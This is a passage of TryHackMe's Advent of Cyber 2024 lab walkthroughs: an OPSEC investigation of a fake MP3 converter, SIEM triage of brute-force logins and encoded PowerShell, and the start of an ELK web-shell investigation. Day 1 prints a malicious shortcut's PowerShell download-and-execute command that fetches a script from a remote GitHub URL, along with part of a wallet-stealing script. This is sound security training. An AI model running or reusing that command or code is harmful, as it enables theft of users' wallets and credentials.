available, you need to click the "Start Machine" button. After the machine is deployed, you will see a frame appear at the top of the room. It will display some important information, like the IP address of the target machine, as well as options to extend the machine's timer or terminate it. If the split-screen option is available: Some tasks will allow you to view your deployed VM in a split-screen view. Typically, if this option is enabled, the split screen will open automatically. If it doesn't, you can click this button at the top of the page for the split screen to open. Please note that you can open split-screen virtual machines in another tab using this button: If there's a direct link available: Some virtual machines allow you to view the necessary content directly in another tab on your browser. In this case, you'll be able to see a link to the virtual machine directly in the task content. Please note that for the link to work, you first need to deploy the virtual machine attached to the task. If there is a direct connection option available: Some tasks will allow you to connect to the virtual machines attached using RDP, SSH, or VNC. This is always optional, and virtual machines with this enabled will also be accessible via a split screen. In these cases, login credentials will be provided, like in the image below: We provide this as some users might prefer to connect directly. However, please note that some tasks will deliberately have this option disabled. If no credentials are given, direct connection is not possible. Answer the questions below Got it! Login to answer.. Task 5Introduction How the Glitch Stole SOC-mas HOW THE GLITCH STOLE SOC-MAS The snow is falling on the tech town of Wareville, and all the different Ware families are gathering in the town square, getting ready for a town meeting. We see the Softwares and the Freewares, skating down the neon-lit frostlanes. We turn to Server Street, and see the Hardwares and the Firmwares marching downtown, festive server lights blinking and flickering in their eyes. It’s time to start preparing for SOC-mas, the most joyous time of the year in the tech town of Wareville. If we lift our eyes, we’ll see, beyond the buzzing city, a snow-covered mountain of discarded technology. Boulders of old printers, cracked monitor cliffs, and server rack ridges, held together by vines of ethernet cables, and a single old gaming chair at the peak - this is Mount Hackit, and no Wares dare to go there. They fear it not because of the frequent floppy disk avalanches, the Wares avoid Mount Hackit because of the Glitch. The Glitch’s lair is hidden in a deep cave, and he’s there now. He grabs a few cables hanging from the ceiling and plugs them in. Although not as new and shiny as Wareville’s, his servers work just fine! The Glitch has been watching Wareville’s security for years, and this SOC-mas will not be different. The Wares might fear the Glitch, thinking he is an evil hacker, but it doesn’t matter. Cracking his fingers, he starts typing, establishing the connection to the town’s network. Time to hack! Back in the town square, Marta May Ware, the SOC-mas organiser, is climbing up on the stage to address the town when all the lights suddenly flicker. All the Wares look around, confused, but it passes quickly, and everything returns to normal. In the city hall, Mayor Malware slams his fists on his desk. “Blocked again!” he shouts angrily. “That insufferable Glitch is at it again!” The mayor’s plan to stop SOC-mas preparation by sabotaging tonight's meeting was unsuccessful. He’ll have to think of something better for tomorrow… In the meantime, Wareville’s SOC is in chaos. Analysts are trying to discover what caused the sudden power surge that threatened all tech in the town. McSkidy Software, the town’s leading cyber security expert, points at a log file on the screen and exclaims, “Now, I don’t know exactly what happened, but this proves we had a connection from Mount Hackit!” McSkidy runs out of the SOC and heads up the mountain. When she reaches the cave, she does not expect to see the Glitch waiting for her, two cups of hot cocoa in his hands, and his dog curled up at his feet. It takes most of the evening, but the Glitch explains what he’s been doing: protecting the town from Mayor Malware’s evil plans. It looks like the mayor wants to completely stop SOC-mas from happening this year! The Glitch knows the Wares might mistrust or hate him, but he wants to help. Now, united by a common purpose, McSkidy and the Glitch start their work in the Mount Hackit cave, because they’re the only ones standing between Wareville and chaos. Come back on December 1st to help McSkidy and the Glitch defend SOC-mas against the evil Mayor Malware’s plans! Answer the questions below Sounds serious! I will be here to help the Glitch on December 1st! Login to answer.. Task 6Introduction Subscribe to TryHackMe with a 30% discount! SUBSCRIBE WITH A DISCOUNT! The Advent of Cyber event is completely free! However, we recommend checking out some of the reasons to subscribe: To celebrate Advent of Cyber, you can get 30% off personal annual subscriptions using the discount code AOC2024 at checkout. This discount is valid until 31st December, 2024, at 23:59 GMT – that's in: Answer the questions below Share the discount with your friends! Login to answer.. Task 7 OPSEC Day 1: Maybe SOC-mas music, he thought, doesn't come from a store? Task includes a deployable machine The Story McSkidy tapped keys with a confident grin, A suspicious website, now where to begin? She'd seen sites like this, full of code and of grime, Shady domains, and breadcrumbs easy to find. Click here to watch the walkthrough video! McSkidy's fingers flew across the keyboard, her eyes narrowing at the suspicious website on her screen. She had seen dozens of malware campaigns like this. This time, the trail led straight to someone who went by the name "Glitch." "Too easy," she muttered with a smirk. "I still have time," she said, leaning closer to the screen. "Maybe there's more." Little did she know, beneath the surface lay something far more complex than a simple hacker's handle. This was just the beginning of a tangled web unravelling everything she thought she knew. LEARNING OBJECTIVES * Learn how to investigate malicious link files. * Learn about OPSEC and OPSEC mistakes. * Understand how to track and attribute digital identities in cyber investigations. CONNECTING TO THE MACHINE Before moving forward, review the questions in the connection card shown below and start the virtual machine by pressing the Start Machine button. The VM should be fully loaded in 3 minutes. Additionally, you will need the AttackBox, which can be launched by clicking the Start AttackBox button at the top of the page. Start Machine NOTE: If you’re clicking "Start Machine" and encountering an issue launching it, don’t worry—it’s just the high demand. What can you do? * Keep trying! Machines are becoming available as demand fluctuates. * If you’re still having trouble, come back a little later when it’s less busy. INVESTIGATING THE WEBSITE The website we are investigating is a Youtube to MP3 converter currently being shared amongst the organizers of SOC-mas. You've decided to dig deeper after hearing some concerning reports about this website. From your AttackBox, access the website by visiting MACHINE_IP using the web browser. At first glance, the website looks legit and presentable. The About Page even says that it was made by "The Glitch ". How considerate of them to make our job easier! Scrolling down, you'll see the feature list, which promises to be "Secure" and "Safe." From our experience, that isn't very likely. YOUTUBE TO MP3 CONVERTER WEBSITES These websites have been around for a long time. They offer a convenient way to extract audio from YouTube videos, making them popular. However, historically, these websites have been observed to have significant risks, such as: * Malvertising: Many sites contain malicious ads that can exploit vulnerabilities in a user's system, which could lead to infection. * Phishing scams: Users can be tricked into providing personal or sensitive information via fake surveys or offers. * Bundled malware: Some converters may come with malware, tricking users into unknowingly running it. What nefarious thing does this website have in store for us? GETTING SOME TUNES Let's find out by pasting any YouTube link in the search form and pressing the "Convert" button. Then select either mp3 or mp4 option. This should download a file that we could use to investigate. For example, we can use https://www.youtube.com/watch?v=dQw4w9WgXcQ, a classic if you ask me. Once downloaded, navigate to your Downloads folder or if you are using the AttackBox, to your /root/ directory. Locate the file named download.zip, right-click on it, and select Extract To. In the dialog window, click the Extract button to complete the extraction. You'll now see two extracted two files: song.mp3 and somg.mp3. To quickly determine the file's contents, double-click on the "Terminal" icon on the desktop then run the file command on each one. First, let's try checking song.mp3. Check File 1 Terminal user@tryhackme:~$ file song.mp3 download.mp3: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo There doesn't seem to be anything suspicious, according to the output. As expected, this is just an MP3 file. How about the second file somg.mp3? From the filename alone, we can tell something is not right. Still, let's confirm by running the file command on it anyway. Check File 2 Terminal user@tryhackme:~$ file somg.mp3 somg.mp3: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sat Sep 15 07:14:14 2018, mtime=Sat Sep 15 07:14:14 2018, atime=Sat Sep 15 07:14:14 2018, length=448000, window=hide Now, this is more interesting! The output tells us that instead of an MP3, the file is an "MS Windows shortcut", also known as a .lnk file. This file type is used in Windows to link to another file, folder, or application. These shortcuts can also be used to run commands! If you've ever seen the shortcuts on a Windows desktop, you already know what they are. There are multiple ways to inspect .lnk files to reveal the embedded commands and attributes. For this room, however, we'll use ExifTool, which is already installed on this machine. To do this, go back to your Terminal and type: Using Exiftool Terminal user@tryhackme:~$ exiftool somg.mp3 Look through the output to locate the command used as a shortcut in the somg.mp3 file. If you scroll down through the output, you should see a PowerShell command. Using Exiftool Terminal ... Relative Path : ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Working Directory : C:\Windows\System32\WindowsPowerShell\v1.0 Command Line Arguments : -ep Bypass -nop -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1','C:\ProgramData\s.ps1'); iex (Get-Content 'C:\ProgramData\s.ps1' -Raw)" Machine ID : win-base-2019 user@tryhackme:~# What this PowerShell command does: * The -ep Bypass -nop flags disable PowerShell's usual restrictions, allowing scripts to run without interference from security settings or user profiles. * The DownloadFile method pulls a file (in this case, IS.ps1) from a remote server (https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1) and saves it in the C:\\ProgramData\\ directory on the target machine. * Once downloaded, the script is executed with PowerShell using the iex command, which triggers the downloaded s.ps1 file. If you visit the contents of the file to be downloaded using your browser (https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1), you will see just how lucky we are that we are not currently using Windows. PowerShell Script Terminal function Print-AsciiArt { Write-Host " ____ _ ___ _____ ___ _ _ " Write-Host " / ___| | | |_ _||_ _| / __| | | | |" Write-Host "| | _ | | | | | | | | | |_| |" Write-Host "| |_| | | |___ | | | | | |__ | _ |" Write-Host " \____| |_____| |___| |_| \___| |_| |_|" Write-Host " Created by the one and only M.M." } # Call the function to print the ASCII art Print-AsciiArt # Path for the info file $infoFilePath = "stolen_info.txt" # Function to search for wallet files function Search-ForWallets { $walletPaths = @( "$env:USERPROFILE\.bitcoin\wallet.dat", "$env:USERPROFILE\.ethereum\keystore\*", "$env:USERPROFILE\.monero\wallet", "$env:USERPROFILE\.dogecoin\wallet.dat" ) Add-Content -Path $infoFilePath -Value "`n### Crypto Wallet Files ###" foreach ($path in $walletPaths) { if (Test-Path $path) { Add-Content -Path $infoFilePath -Value "Found wallet: $path" } } } [Output truncated for brevity] The script is designed to collect highly sensitive information from the victim's system, such as cryptocurrency wallets and saved browser credentials, and send it to an attacker's remote server. Disclaimer: All content in this room, including CPP code, PowerShell scripts, and commands, is provided solely for educational purposes. Please do not execute these on a Windows host. This looks fairly typical of a PowerShell script for such a purpose, with one notable exception: a signature in the code that reads. > Created by the one and only M.M. SEARCHING THE SOURCE There are many paths we could take to continue our investigation. We could investigate the website further, analyse its source code, or search for open directories that might reveal more information about the malicious actor's setup. We can search for the hash or signature on public malware databases like VirusTotal or Any.Run. Each of these methods could yield useful clues. However, for this room, we'll try something a bit different. Since we already have the PowerShell code, searching for it online might give us useful leads. It's a long shot, but we'll explore it in this exercise. There are many places where we can search for code. The most widely used is Github. So let's try searching there. To search effectively, we can look for unique parts of the code that we could use to search with. The more distinctive, the better. For this scenario, we have the string we've uncovered before that reads: "Created by the one and only M.M." Search for this on Github.com or by going directly to this link: https://github.com/search?q=%22Created+by+the+one+and+only+M.M.%22&type=issues You'll notice something interesting if you explore the pages in the search results. NOTE! If you receive an error below, it's because Github has rate limits in place if you are not signed in. To fix this, you can just sign in with a GitHub account or skip directly to the next step by going here: https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/issues/1 If you look through the search results, you can be able infer the malicious actor's identity based on information on the project's page and the GitHub Issues section. Aha! Looks like this user has made a critical mistake. INTRODUCTION TO OPSEC This is a classic case of OPSEC failure. Operational Security (OPSEC) is a term originally coined in the military to refer to the process of protecting sensitive information and operations from adversaries. The goal is to identify and eliminate potential vulnerabilities before the attacker can learn their identity. In the context of cyber security, when malicious actors fail to follow proper OPSEC practices, they might leave digital traces that can be pieced together to reveal their identity. Some common OPSEC mistakes include: * Reusing usernames, email addresses, or account handles across multiple platforms. One might assume that anyone trying to cover their tracks would remove such obvious and incriminating information, but sometimes, it's due to vanity or simply forgetfulness. * Using identifiable metadata in code, documents, or images, which may reveal personal information like device names, GPS coordinates, or timestamps. * Posting publicly on forums or GitHub (Like in this current scenario) with details that tie back to their real identity or reveal their location or habits. * Failing to use a VPN or proxy while conducting malicious activities allows law enforcement to track their real IP address. You'd think that someone doing something bad would make OPSEC their top priority, but they're only human and can make mistakes, too. For example, here are some real-world OPSEC mistakes that led to some really big fails: ALPHABAY ADMIN TAKEDOWN One of the most spectacular OPSEC failures involved Alexandre Cazes, the administrator of AlphaBay, one of the largest dark web marketplaces: * Cazes used the email address "pimp_alex_91@hotmail.com" in early welcome emails from the site. * This email included his year of birth and other identifying information. * He cashed out using a Bitcoin account tied to his real name. * Cazes reused the username "Alpha02" across multiple platforms, linking his dark web identity to forum posts under his real name. CHINESE MILITARY HACKING GROUP (APT1) There's also the notorious Chinese hacking group APT1, which made several OPSEC blunders: * One member, Wang Dong, signed his malware code with the nickname "Ugly Gorilla". * This nickname was linked to programming forum posts associated with his real name. * The group used predictable naming conventions for users, code, and passwords. * Their activity consistently aligned with Beijing business hours, making their location obvious. These failures provided enough information for cyber security researchers and law enforcement to publicly identify group members. UNCOVERING MM If you've thoroughly investigated the GitHub search result, you should have uncovered several clues based on poor OPSEC practices by the malicious actor. We know the attacker left a distinctive signature in the PowerShell code (MM). This allowed us to search for related repositories and issues pages on GitHub. We then discovered an Issues page where the attacker engaged in discussions, providing more context and linking their activity to other projects. In this discussion, they responded to a query about modifying the code. This response, paired with their unique handle, was another critical slip-up, leaving behind a trail of evidence that can be traced back to them. By analysing the timestamps, usernames, and the nature of their interactions, we can now attribute the mastermind behind the attack to MM. WHAT'S NEXT? McSkidy dug deeper, her mind sharp and quick, But something felt off, a peculiar trick. The pieces she’d gathered just didn’t align, A puzzle with gaps, a tangled design. As McSkidy continued digging, a pattern emerged that didn't fit the persona she was piecing together. A different handle appeared in obscure places, buried deep in the details: "MM." "Who's MM?" McSkidy muttered, the mystery deepening. Even though all signs on the website seemed to point to Glitch as the author, it became clear that someone had gone to great lengths to ensure Glitch's name appeared everywhere. Yet, the scattered traces left by MM suggested a deliberate effort to shift the blame. Answer the questions below Looks like the song.mp3 file is not what we expected! Run "exiftool song.mp3" in your terminal to find out the author of the song. Who is the author? Login to answer.. The malicious PowerShell script sends stolen info to a C2 server. What is the URL of this C2 server? Login to answer..Hint Who is M.M? Maybe his Github profile page would provide clues? Login to answer.. What is the number of commits on the GitHub repo where the issue was raised? Login to answer..Hint If you enjoyed this task, feel free to check out the OPSEC room! Login to answer.. What's with all these GitHub repos? Could they hide something else? Login to answer.. Task 8 Log analysis Day 2: One man's false positive is another man's potpourri. Task includes a deployable machine The Story Click here to watch the walkthrough video! It’s the most wonderful time of the year again, and it’s also the most stressful day for Wareville’s Security Operations Center (SOC) team. Despite the overwhelming alerts generated by the new and noisy rules deployed, Wareville’s SOC analysts have been processing them nonstop to ensure the safety of the town. However, the SOC analysts are now burning out of all the workload needed before Christmas. Numerous open cases are still pending, and similar alerts are still firing repeatedly, making them think of the possibility of false positives out of all this mess. Now, help the awesome Wareville’s SOC team analyse the alerts to determine whether the rumour is true—that Mayor Malware is instigating chaos within the town. TRUE POSITIVES OR FALSE POSITIVES? In a SOC, events from different devices are sent to the SIEM, which is the single source of truth where all the information and events are aggregated. Certain rules (Detection Engineering rules) are defined to identify malicious or suspicious activity from these events. If an event or set of events fulfils the conditions of a rule, it triggers an alert. A SOC analyst then analyses the alert to identify if the alert is a True Positive (TP) or a False Positive (FP). An alert is considered a TP if it contains actual malicious activity. On the flip side, if the alert triggers because of an activity that is not actually malicious, it is considered an FP. This might seem very simple in theory, but practically, separating TPs from FPs can be a tedious job. It can sometimes become very confusing to differentiate between an attacker and a system administrator. MAKING A DECISION While it is confusing to differentiate between TPs and FPs, it is very crucial to get it right. If a TP is falsely classified as an FP, it can lead to a significant impact from a missed cyber attack. If an FP is falsely classified as a TP, precious time will be spent focusing on the FP, which might lead to less focus on an actual attack. So, how exactly do we ensure that we perform this crucial job effectively? We can use the below pointers to guide us. Using the SOC Superpower The SOC has a superpower. When they are unsure whether an activity is performed by a malicious actor or a legitimate user, they can just confirm with the user. This privilege is not available to the attacker. A SOC analyst, on the other hand, can just send an email or call the relevant person to get confirmation of a certain activity. In mature organisations, any changes that might trigger an alert in the SOC often require Change Requests to be created and approved through the IT change management process. Depending on the process, the SOC team can ask the users to share Change Request details for confirmation. Surely, if it is a legitimate and approved activity, it must have an approved Change Request. Context While it might seem like using the SOC superpower makes things super easy, that is not always the case. There are cases which can act as Kryptonite to the SOC superpower: * If an organisation doesn't have a change request process in place. * The performed activity was outside the scope of the change request or was different from that of the approved change request. * The activity triggered an alert, such as copying files to a certain location, uploading a file to some website, or a failed login to a system. * An insider threat performed an activity they are not authorised to perform, whether intentionally or unintentionally. * A user performed a malicious activity via social engineering from a threat actor. In such scenarios, it is very important for the SOC analyst to understand the context of the activity and make a judgement call based on their analysis skills and security knowledge. While doing so, the analyst can look at the past behaviour of the user or the prevalence of a certain event or artefact throughout the organisation or a certain department. For example, if a certain user from the network team is using Wireshark, there is a chance that other users from the same team also use Wireshark. However, Wireshark seen on a machine belonging to someone from HR or finance should rightfully raise some eyebrows. Correlation When building the context, the analyst must correlate different events to make a story or a timeline. Correlation entails using the past and future events to recreate a timeline of events. When performing correlation, it is important to note down certain important artefacts that can then be used to connect the dots. These important artefacts can include IP addresses, machine names, user names, hashes, file paths, etc. Correlation requires a lot of hypothesis creation and ensuring that the evidence supports that hypothesis. A hypothesis can be something like the user downloaded malware from a spoofed domain. The evidence to support this can be proxy logs that support the hypothesis that a website was visited, the website used a spoofed domain name, and a certain file was downloaded from that website. Now, let's say, we want to identify whether the malware executed through some vulnerability in an application or a user intentionally executed the malware. To see that, we might look at the parent process of the malware and the command line parameters used to execute the said malware. If the parent process is Windows Explorer, we can assume the user executed the malware intentionally (or they might have been tricked into executing it via social engineering), but if the parent process is a web browser or a word processor, we can assume that the malware was not intentionally executed, but it was executed because of a vulnerability in the said application. IS THIS A TP OR AN FP? Similar to every SOC, the analysts in the Wareville SOC also need to differentiate TPs from FPs. This becomes especially difficult for them near Christmas when the analysts face alert fatigue. High chances of misclassification of TPs into FPs and vice versa are present in such times. The analysts, therefore, appreciate any help they could get from us in this crucial time. To make matters worse, the office of the Mayor has sent the analysts an alert informing them of multiple encoded powershell commands run on their systems. Perhaps we can help with that. Connection Details To help the analysts, we must start the Elastic SIEM in the attached VM by clicking the Start Machine button below. The instance takes 5 minutes to initialise and for the Elastic login page to appear. Start Machine Once the machine is up and running, we can connect to the Elastic SIEM by visiting https://LAB_WEB_URL.p.thmlabs.com in your browser using the following credentials: URL https://LAB_WEB_URL.p.thmlabs.com Username elastic Password elastic Once we log in, we can click the menu in the top-left corner and go to the Discover tab to see the events. According to the alert sent by the Mayor's office, the activity occurred on Dec 1st, 2024, between 0900 and 0930. We can set this as our time window by clicking the timeframe settings in the upper-right corner. Note that we need to click the Absolute tab and set the exact timeframe we want to view. Lastly, click the Update button to apply the changes. After updating the settings, we see 21 events in the mentioned timeframe. In their current form, these events don't look very easily readable. We can use the fields in the left pane to add columns to the results and make them more readable. Hovering on the field name in the left pane will allow adding that field as a column, as shown below. Since we are looking for events related to PowerShell, we would like to know the following details about the logs. * The hostname where the command was run. We can use the host.hostname field as a column for that. * The user who performed the activity. We can add the user.name field as a column for this information. * We will add the event.category field to ensure we are looking at the correct event category. * To know the actual commands run using PowerShell, we can add the process.command_line field. * Finally, to know if the activity succeeded, we will add the event.outcome field. Once we have added these fields as columns, we will see the results in a format like this. Interesting! So, it looks like someone ran the same encoded PowerShell command on multiple machines. Another thing to note here is that before each execution of the PowerShell command, we see an authentication event, which was successful. This activity is observed individually on each machine, and the time difference between the login and PowerShell commands looks very precise. Best practices dictate that named accounts are used for any kind of administrator activity so that there is accountability and attribution for each administrative activity performed. The usage of a generic admin account here also seems suspicious. On asking, the analysts informed us that this account is used by two administrators who were not in the office when this activity occurred. Hmmm, something is definitely not right. Are these some of Glitch's shenanigans? Is Christmas in danger? We need to find out who ran these commands. Let's also add the source.ip field as a column to find out who ran the PowerShell commands. Since the source.ip field is only available for the authentication events, we can filter out the process events to see if there is a pattern. To do that, we can hover over the event.category field in one of the process events. We will see the option to filter only for this value (+ sign) or filter out the value (- sign), as seen below. Let's filter for authentication events by clicking the plus (+) sign beside it to show only those in the results. As a result, you can see that the output only renders the authentication events. Since the result does not give useful insights, let's remove it for now. You can do this by clicking the x beside the filter. Since the timeframe we previously used was for the PowerShell events, and the authentication events might have been coming from before that, we will need to expand the search to understand the context and the historical events for this user. Let's see if we have any events from the user from the 29th of November to the 1st of December. Updating the time filter for these days, the results look like this. Note: Remember to remove the event.category filter before this step. Woah, there have been more than 6800 events in these three days, and we see a spike at the end of the logs. However, even though we used the time filter for the day end on the 1st of December, we see no events after successful PowerShell execution. There have also been a lot more authentication events in the previous days than on the 1st of December. To understand the events further, let's filter for our user.name with service_admin and source.ip with 10.0.11.11 to narrow our search. Uh-oh! It looks like all these events have been coming from the same user and the same IP address. We definitely need to investigate further. This also does not explain the spike. Let's filter for authentication events first by clicking the plus (+) button beside it. Moreover, let's filter out the Source IP here to see if we can find the IP address that caused the spike. This can be done by clicking the minus (-) button beside it. After applying the filters, the expected result will be similar to the image below. Scrolling down, we see many events for failed logins. We also see that the IP address for the spike (ending in .255.1) differs from the one we saw for the events continuously coming in the previous days (10.0.11.11). The analysts have previously investigated this and found that a script with expired credentials was causing this issue. However, that script was updated with a fresh set of credentials. Anyhow, this might just be another script. Let's find out. Let's remove the source IP filter so we can focus on authentication events close to the spike. After applying the new filter, we see that the failed logins stopped a little while after the successful login from the new IP. Our suspicions are rising. It seems that someone tried a brute-force attack on December 1st, as shown by the same filters applied above. The results also showed that they succeeded with the brute-force attempt because of the successful authentication attempt and quickly ran some PowerShell commands on the affected machines. Once the PowerShell commands were run, we didn't see any further login attempts. This looks like a TP, and there needs to be an escalation so that McSkidy can help us respond to this incident. CHRISTMAS IN DANGER? The alarms have gone off, and McSkidy has been called to help take this incident further. The analysts have briefed McSkidy about the incident. McSkidy observed that nobody had actually looked at what the PowerShell command contained. Since the command was encoded, it needs to be decoded. McSkidy changed the filters with event.category: process to take a deeper look at the PowerShell commands. We can see the PowerShell command in the process.command_line field. C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand SQBuAHMAdABhAGwAbAAtAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIAAtAEEAYwBjAGUAcAB0AEEAbABsACAALQBBAHUAdABvAFIAZQBiAG8AbwB0AA== McSkidy knows that Encoded PowerShell commands are generally Base64 Encoded and can be decoded using tools such as CyberChef. Since the command might contain some sensitive information and, therefore, must not be submitted on a public portal, McSkidy spins up her own instance of CyberChef hosted locally. McSkidy started by pasting the encoded part of the command in the Input pane in CyberChef. Since it is a Base64 encoded command, McSkidy used two recipes, named FromBase64 and Decode text from the left pane. Note that McSkidy configured the Decode text to UTF-16LE (1200) since it is the encoding used by PowerShell for Base64. The result provided a sigh of relief to McSkidy, who had feared that the Christmas had been ruined. Someone had come in to help McSkidy and the team secure their defences, but who? VILLAIN OR HERO? McSkidy further analysed the secret hero and came to a startling revelation. The credentials for the script in the machines that ran the Windows updates were outdated. Someone brute-forced the systems and fixed the credentials after successfully logging in. This was evident from the fact that each executed PowerShell command was preceded by a successful login from the same Source IP, causing failed logins over the past few days. And what's even more startling? It was Glitch who accessed ADM-01 and fixed the credentials after McSkidy confirmed who owned the IP address. This meant that the people of Wareville had misunderstood Glitch, who was just trying to help shore up the defences. But if Glitch was the one helping the defences, who was trying to sabotage it? Was it the Mayor who informed the SOC about these 'suspicious' PowerShell commands? Just like alerts aren't always what they seem in a SOC, so was the case here at Wareville with people. As hard as it was to differentiate between a TP and an FP, so was the case with the Mayor and Glitch. However, McSkidy can perhaps use the evidence-based deduction skills learned in a SOC to make this difference easier for the people of Wareville. Answer the questions below What is the name of the account causing all the failed login attempts? Login to answer.. How many failed logon attempts were observed? Login to answer..Hint What is the IP address of Glitch? Login to answer.. When did Glitch successfully logon to ADM-01? Format: MMM D, YYYY HH:MM:SS.SSS Login to answer..Hint What is the decoded command executed by Glitch to fix the systems of Wareville? Login to answer.. If you enjoyed this task, feel free to check out the Investigating with ELK 101 room. Login to answer.. Task 9 Log analysis Day 3: Even if I wanted to go, their vulnerabilities wouldn't allow it. Task includes a deployable machine The Story Click here to watch the walkthrough video! Today's AoC challenge follows a rather unfortunate series of events for the Glitch. Here is a little passage which sets the scene for today's task: Late one Christmas evening the Glitch had a feeling, Something forgotten as he stared at the ceiling. He got up out of bed and decided to check, A note on his wall: ”Two days! InsnowSec”. With a click and a type he got his hotel and tickets, And sank off to sleep to the sound of some crickets. Luggage in hand, he had arrived at Frosty Pines, “To get to the conference, just follow the signs”. Just as he was ready the Glitch got a fright, An RCE vulnerability on their website ?!? He exploited it quick and made a report, But before he could send arrived his transport. In the Frosty Pines SOC they saw an alert, This looked quite bad, they called an expert. The request came from a room, but they couldn’t tell which, The logs saved the day, it was the room of…the Glitch. In this task, we will cover how the SOC team and their expert were able to find out what had happened (Operation Blue) and how the Glitch was able to gain access to the website in the first place (Operation Red). Let's get started, shall we? LEARNING OBJECTIVES * Learn about Log analysis and tools like ELK. * Learn about KQL and how it can be used to investigate logs using ELK. * Learn about RCE (Remote Code Execution), and how this can be done via insecure file upload. CONNECTING TO THE MACHINE Before moving forward, review the questions in the connection card below: Click on the green Start Machine button below to start the virtual machine for the practical. The practical VM may take 5 minutes to become accessible. Start Machine You will also need to start the AttackBox by pressing the Start AttackBox button at the top of the room. Alternatively, you can connect your own hacking machine by using the TryHackMe VPN. OPERATION BLUE In this section of the lesson, we will take a look at what tools and knowledge is required for the blue segment, that is the investigation of the attack itself using tools which enable is to analyse the logs. For the first part of Operation Blue, we will demonstrate how to use ELK to analyse the logs of a demonstration web app - WareVille Rails. Feel free to following along for practice. LOG ANALYSIS & INTRODUCING ELK Log analysis is crucial to blue-teaming work, as you have likely discovered through this year's Advent of Cyber. Analysing logs can quickly become overwhelming, especially if you have multiple devices and services. ELK, or Elasticsearch, Logstash, and Kibana, combines data analytics and processing tools to make analysing logs much more manageable. ELK forms a dedicated stack that can aggregate logs from multiple sources into one central place. Explaining how ELK collates and processes these logs is out of the scope of today's task. However, if you wish to learn more, you can check out the Investigating with ELK 101 room. For now, it's important to note that multiple processes behind the scenes achieve this. The first part of today's task is to investigate the attack on Frosty Pines Resort's Hotel Management System to see what it looks like to a blue teamer. You will then test your web app skills by recreating the attack. USING ELK Upon loading the URL http://MACHINE_IP:5601/ within your AttackBox’s browser, you will be greeted with the ELK Home page. For today's task, we will use Kibana's Discover interface to review Apache2 logs. To access this, simply click on the three lines located at the top left of the page to open the slide-out tray. Under the Analytics heading, click on Discover. We will need to select the collection that is relevant to us. A collection is a group of logs. For this stage of Operation Blue, we will be reviewing the logs present within the "wareville-rails" collection. To select this collection, click on the dropdown on the left of the display. Once you have done this, you will be greeted with a screen saying, "No results match your search criteria". This is because no logs have been ingested within the last 15 minutes. Do not panic; we will discuss how to change this shortly. To change the date and time, click the text located on the right side of the box that has the calendar icon. Select "Absolute" from the dropdown, where you can now select the start date and time. Next, click on the text on the right side of the arrow to and repeat the process for the end date and time. For the WareVille Rails collection, we will need to set the start time to October 1 2024 00:00:00, and the end time to October 1 23:30:00 If you are stuck, refer to the GIF below. Please note that the day and time in this demonstration of WareVille Rails will differ from the times required to review the FrostyPines Resorts collection in the second half of the practical. Now that we can see some entries, let's go over the basics of the Kibana Discover UI. 1. Search Bar: Here, we can place our search queries using KQL 2. Index Pattern: An index pattern is a collection of logs. This can be from a specific host or, for example, multiple hosts with a similar purpose (such as multiple web servers). In this case, the index pattern is all logs relating to "wareville-rails" 3. Fields: This pane shows us the fields that Elasticsearch has parsed from the logs. For example, timestamp, response type, and IP address. 4. Timeline: This visualisation displays the event count over a period of time 5. Documents (Logs): These entries are the specific entries in the log file 6. Time Filter: We can use this to narrow down a specific time frame (absolute). Alternatively, we can search for logs based on relativity. I.e. "Last 7 days". KIBANA QUERY LANGUAGE (KQL) KQL, or Kibana Query Language, is an easy-to-use language that can be used to search documents for values. For example, querying if a value within a field exists or matches a value. If you are familiar with Splunk, you may be thinking of SPL (Search Processing Language). For example, the query to search all documents for an IP address may look like ip.address: "10.10.10.10". Alternatively, Kibana also allows using Lucene query, an advanced language that supports features such as fuzzy terms (searches for terms that are similar to the one provided), regular expressions, etc. For today's task, we will stick with using KQL, which has been enabled by default. The table below contains a mini-cheatsheet for KQL syntax that you may find helpful in today's task. Query/SyntaxDescriptionExample" "The two quotation marks are used to search for specific values within the documents. Values in quotation marks are used for exact searches."TryHackMe"*The asterisk denotes a wildcard, which searches documents for similar matches to the value provided.United* (would return United Kingdom and United States)ORThis logical operator is used to show documents that contain either of the values provided."United Kingdom" OR "England"ANDThis logical operator is used to show documents that contain both values."Ben" AND "25":This is used to search the (specified) field of a document for a value, such as an IP address. Note that the field you provide here will depend on the fields available in the index pattern.ip.address: 10.10.10.10 INVESTIGATING A WEB ATTACK WITH ELK Scenario: Thanks to our extensive intrusion detection capabilities, our systems alerted the SOC team to a web shell being uploaded to the WareVille Rails booking platform on Oct 1, 2024. Our task is to review the web server logs to determine how the attacker achieved this. If you would like to follow along, ensure that you have the "wareville-rails" collection selected like so: To investigate this scenario, let's change the time filter to show events for the day of the attack, setting the start date and time to "Oct 1, 2024 @ 00:00:00.000" and the end date and time to "Oct 2, 2024 @ 00:00:00.000". You will see the logs have now populated within the display. Please note that the quantity of entries (hits) in this task may differ to the amount on the practical VM. An incredibly beneficial feature of ELK is that we can filter out noise. A web server (especially a popular one) will likely have a large number of logs from user traffic—completely unrelated to the attack. Using the fields pane on the left, we can click on the "+" and "-" icons next to the field to show only that value or to remove it from the display, respectively. Fun fact: Clicking on these filters is actually just applying the relevant KQL syntax. Note in the GIF below how the logs are being filtered to only show logs containing the IP address 10.13.27.115 (reducing the count from 1,028 to 423 hits). We can combine filtering multiple fields in or out to drill down specifically into the logs. To remove applied filters, simply click on the "x" alongside the filter, just below the search bar. In this investigation, let's look at the activity of the IP address 10.9.98.230. We can click on the "clientip" field to see the IPs with the most values. Using the timeline at the top, we can see a lot of activity from this IP address took place between 11:30:00 and 11:35:00. This would be a good place to begin our analysis. Each log can be expanded by using the ">" icon located on the left of the log/document. Fortunately, the logs are pretty small in this instance, so we can browse through them to look for anything untoward. After some digging, a few logs stand out. Looking at the request field, we can see that a file named "shell.php" has been accessed, with a few parameters "c" and "d" containing commands. These are likely to be commands input into some form of web 